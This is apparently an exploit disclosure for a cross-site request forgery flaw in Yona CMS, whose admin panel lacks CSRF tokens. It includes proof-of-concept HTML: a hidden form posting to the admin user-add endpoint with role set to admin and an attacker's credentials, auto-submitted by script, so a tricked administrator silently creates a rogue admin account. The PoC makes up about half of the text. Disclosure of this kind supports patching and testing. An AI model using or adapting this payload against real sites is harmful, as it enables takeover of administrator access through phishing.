# CVE: -

Yona CMS is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering), a form will be submitted
to (http://localhost/admin/admin-user/add) that will add a
new user as administrator.
Once exploited, the attacker can login to the admin panel (
http://localhost/admin)
using the username and the password he posted in the form.

CSRF PoC Code
=============

<form method="post" action="http://localhost/admin/admin-user/add">
<input type="hidden" name="login" value="attacker"/>
<input type="hidden" name="email" value="attacker@email.com"/>
<input type="hidden" name="name" value="attacker"/>
<input type="hidden" name="role" value="admin"/>
<input type="hidden" name="password" value="attackerPassword"/>
<input type="hidden" name="active"/>
</form>
<script>
document.forms[0].submit();
